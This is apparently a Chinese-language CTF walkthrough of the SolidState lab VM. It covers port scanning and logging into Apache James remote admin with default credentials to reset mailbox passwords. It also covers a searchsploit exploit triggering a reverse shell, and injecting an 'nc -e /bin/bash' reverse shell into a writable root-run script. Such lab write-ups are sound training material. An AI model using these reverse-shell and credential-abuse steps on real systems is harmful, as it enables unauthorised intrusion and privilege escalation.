solidstat – 星河.清河

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一、信息收集

sudo nmap -sn 192.168.1.0/24 得到目标主机 192.168.1.132

sudo nmap -sT –min-rate 1000 -p- 192.168.1.132

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-22 12:00 CST
Nmap scan report for 192.168.1.132
Host is up (0.0037s latency).
Not shown: 65529 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
25/tcp   open  smtp
80/tcp   open  http
110/tcp  open  pop3
119/tcp  open  nntp
4555/tcp open  rsip
MAC Address: 00:0C:29:2B:CB:BD (VMware)

Nmap done: 1 IP address (1 host up) scanned in 4.80 seconds

sudo nmap -sC -sV -p 80,22,25,110,119,4555 192.168.1.132

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
|   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_  256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp   open  smtp        JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello nmap.scanme.org (192.168.1.130 [192.168.1.130])
80/tcp   open  http        Apache httpd 2.4.25 ((Debian))
|_http-title: Home - Solid State Security
|_http-server-header: Apache/2.4.25 (Debian)
110/tcp  open  pop3        JAMES pop3d 2.3.2
119/tcp  open  nntp        JAMES nntpd (posting ok)
4555/tcp open  james-admin JAMES Remote Admin 2.3.2
MAC Address: 00:0C:29:2B:CB:BD (VMware)
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel

sudo nmap –script=vuln -p 80,22,25,110,119,4555 192.168.1.132

PORT     STATE SERVICE
22/tcp   open  ssh
25/tcp   open  smtp
| smtp-vuln-cve2010-4344: 
|_  The SMTP server is not Exim: NOT VULNERABLE
80/tcp   open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-sql-injection: 
|   Possible sqli for queries:
|     http://192.168.1.132:80/assets/js/?C=D%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.1.132:80/assets/js/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.1.132:80/assets/js/?C=N%3BO%3DD%27%20OR%20sqlspider
|     http://192.168.1.132:80/assets/js/?C=S%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.1.132:80/assets/js/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.1.132:80/assets/js/?C=S%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.1.132:80/assets/js/?C=N%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.1.132:80/assets/js/?C=D%3BO%3DD%27%20OR%20sqlspider
|     http://192.168.1.132:80/assets/js/?C=D%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.1.132:80/assets/js/?C=M%3BO%3DD%27%20OR%20sqlspider
|     http://192.168.1.132:80/assets/js/?C=S%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.1.132:80/assets/js/?C=N%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.1.132:80/assets/js/?C=D%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.1.132:80/assets/js/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.1.132:80/assets/js/?C=N%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.1.132:80/assets/js/?C=S%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.1.132:80/assets/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.1.132:80/assets/?C=N%3BO%3DD%27%20OR%20sqlspider
|     http://192.168.1.132:80/assets/?C=D%3BO%3DA%27%20OR%20sqlspider
|_    http://192.168.1.132:80/assets/?C=S%3BO%3DA%27%20OR%20sqlspider
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.1.132
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.1.132:80/
|     Form id: name
|     Form action: #
|     
|     Path: http://192.168.1.132:80/about.html
|     Form id: name
|     Form action: #
|     
|     Path: http://192.168.1.132:80/services.html
|     Form id: name
|     Form action: #
|     
|     Path: http://192.168.1.132:80/index.html
|     Form id: name
|_    Form action: #
| http-enum: 
|   /README.txt: Interesting, a readme.
|_  /images/: Potentially interesting directory w/ listing on 'apache/2.4.25 (debian)'
110/tcp  open  pop3
119/tcp  open  nntp
4555/tcp open  rsip
MAC Address: 00:0C:29:2B:CB:BD (VMware)

gobuster dir -u http://192.168.1.132 –wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .txt,.php,.html,.sql

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.132
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,sql,txt,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 7776]
/images               (Status: 301) [Size: 315] [--> http://192.168.1.132/images/]
/.html                (Status: 403) [Size: 293]
/about.html           (Status: 200) [Size: 7182]
/services.html        (Status: 200) [Size: 8404]
/assets               (Status: 301) [Size: 315] [--> http://192.168.1.132/assets/]
/README.txt           (Status: 200) [Size: 963]
/LICENSE.txt          (Status: 200) [Size: 17128]
/.html                (Status: 403) [Size: 293]
/server-status        (Status: 403) [Size: 301]
Progress: 1102800 / 1102805 (100.00%)
===============================================================
Finished
===============================================================

二、获得立足点

已知 80，25，110，119，4555 端口其中 4555 端口有一个服务叫 james-admin 其他的端口25，110，119 都是和它相关的

Apache James 是一个开源的邮件服务器软件，它使用 Java 编程语言开发

邮件服务功能：Apache James 提供了完整的邮件服务功能，包括 SMTP（Simple Mail Transfer Protocol）服务器、POP3（Post Office Protocol 3）服务器、IMAP（Internet Message Access Protocol）服务器等。它支持发送和接收电子邮件，管理用户邮箱，处理邮件传输等功能

搜索可以得到一个弱密码 root/root 使用pop3 登陆查看一下邮件发现失败

telnet 192.168.1.132 110
user root
pass root

尝试登陆一下 4555 的james 后台

nc 192.168.1.132 4555
root
root
使用  help  查看命令
listusers	                  display existing accounts
adduser [username] [password]	  add a new user
deluser [username]	          delete existing user
setpassword [username] [password] sets a user’s password

查看用户然后将密码改成 123456 ，使用 pop3 登陆查看邮件在用户mindy 用户中发现了一个凭证。

使用ssh 登陆获得shell

三、提权

登陆发现 shell 是 rbash 一个受限的shell。

rbash中的限制（正因为有这些限制我们才要突破它）

不能使用cd命令（意味着不能更改目录）
不能设置或取消环境变量：SHELL， PATH， ENV， BASH_ENV
导入功能受限
指定包含参数’/’或’-‘的文件名(即命名中不能包含 ‘/ ‘ 或’-‘)
不能使用使用 >，>|， <>， >&， &>， >> 等重定向操作符
不能使用’set + r’或’set + o’关闭

同时可以使用的命令只有ls cat

只有先想办法绕过这个受限shell 获得一个正常的bash

这时我们自然想到之前搜索到的关于Apache James 的漏洞这个漏洞可以执行命令执行一个反弹shell的命令看是否可以绕过。

searchsploit james-admin  #查找有关漏洞
searchsploit -m   xxxx.py  #下载exploit脚本
python3 xx.py  192.168.1.132 192.168.1.130 1234  #运行脚本
nc -lvp 1234                #接受反弹
ssh mindy@192.168.1.132                      #触发条件是必须有一个用户登陆。使用ssh登陆触发

获得一个正常的反弹shell

注意：使用 find / -writable -type f 2>/dev/null | grep -v /proc | grep -v /sys

找到一个可以写入的高权限的文件 tmp.py

写入反弹sehll

import os
os.system('nc -e /bin/bash 192.168.1.130 5555');
nc -lvp 5555

获得root shell
提权成功

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